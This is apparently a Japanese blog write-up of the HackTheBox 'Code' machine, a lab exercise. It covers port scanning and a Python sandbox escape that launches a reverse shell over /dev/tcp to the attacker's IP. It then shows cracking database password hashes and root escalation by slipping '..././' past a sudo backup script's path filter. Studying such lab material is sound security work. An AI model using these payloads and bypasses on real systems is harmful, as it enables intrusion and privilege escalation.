📌

[HackTheBox] Code-writeup

に公開

machineinfo

  • linux
  • easy

recon

nmapを使用し空いているポートを調べます
22番と5000番のポートが開いているのが確認できました。

┌─[user@parrot][~]
└──╼ $nmap -sV -T4 -A 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-10 05:57 UTC
Nmap scan report for 10.10.11.62
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.22 seconds

enumeration

gobusterを使用しディレクトリの列挙をします。

┌─[user@parrot][~]
└──╼ $sudo gobuster dir -u http://10.10.11.62:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.62:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 818]
/login                (Status: 200) [Size: 730]
/register             (Status: 200) [Size: 741]
/logout               (Status: 302) [Size: 189] [--> /]
/codes                (Status: 302) [Size: 199] [--> /login]

user

PythonCodeEditorというwebサイトでした。
プログラムが書けるのかなぁーって思ったんですけど、なんもかけなかったです
burpでリクエストもみてみますk
スクリーンショット 2025-06-10 15.03.47.png

ログインしてなくてもコードが書けた(wifiの問題)のでshellを反射させるコードを実行させます。
object継承されたクラスの情報を取得してみます。

print((()).__class__.__bases__[0].__subclasses__())

RCE用のコードを張ります。

print(''.__class__.__mro__[1].__subclasses__()[317]('bash -c "/bin/sh -i >&/dev/tcp/10.10.16.15/4545 0>&1"',shell=True))
┌─[user@parrot][~]
└──╼ $ncat -lvnp 4545
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4545
Ncat: Listening on 0.0.0.0:4545
Ncat: Connection from 10.10.11.62:53762.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app-production
$ ls
app.py
instance
__pycache__
static
templates
$ ls static	
css
$ ls ../
app
can.sh
user.txt
$ cat ../user.txt
81f5da624e1b451b72e8879f8dcd7f79

user.txtありました!!

root

色々探していたらapp/instance内にdatabase.dbというものがありました。
sqliteで中身を確認します。

app-production@code:~/app/instance$ sqlite3 database.db
sqlite3 database.db
sqlite> .tables
.tables
code  user
sqlite> select * from user;
select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

二人のユーザのパスワードハッシュを取得できました。
CrackStationに投げてみます

image.png
martinのパスワードがnafeelswordsmasterだということがわかりました。
sshで接続します

martin@code:~$ whoami
martin
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

/usr/bin/backy.shがrootで動いているようですね

<details><summary>backy.sh</summary>

cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

</details>
指定したjsonに基づいてディレクトリのバックアップを作成するプログラムですかね(AIに聞いた)

martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2  home  root  task.json
martin@code:~/backups$ cat task.json
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "home/root"
  ]
}

directories_to_archiveをrootパスにしたらできそう?!?
ここで時間かかりました、、、、、、backy.sh内で../を削除されていました。
なんだかんだあって結局こんな感じになりました。

vi task.json
martin@code:~/backups$ vi test.json
martin@code:~/backups$ mv test.json task.json
martin@code:~/backups$ cat task.json
{
    "destination": "/home/martin/",
    "multiprocessing": true,
  "verbose_log": false,
    "directories_to_archive": [
                "/home/..././root"
        ]
}
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json 

test.jsontask.jsonに上書きする必要なかった()

martin@code:~$ tar jxf code_home_.._root_2025_June.tar.bz2
martin@code:~$ ls
backups  code_home_.._root_2025_June.tar.bz2  copyroot  croninject  home  root
martin@code:~$ cd root
martin@code:~/root$ ls
root.txt  scripts
martin@code:~/root$ cat root.txt
ae8cd28ae9378bfa45105ed86c9ef9c2

root取れました!!!GG

Discussion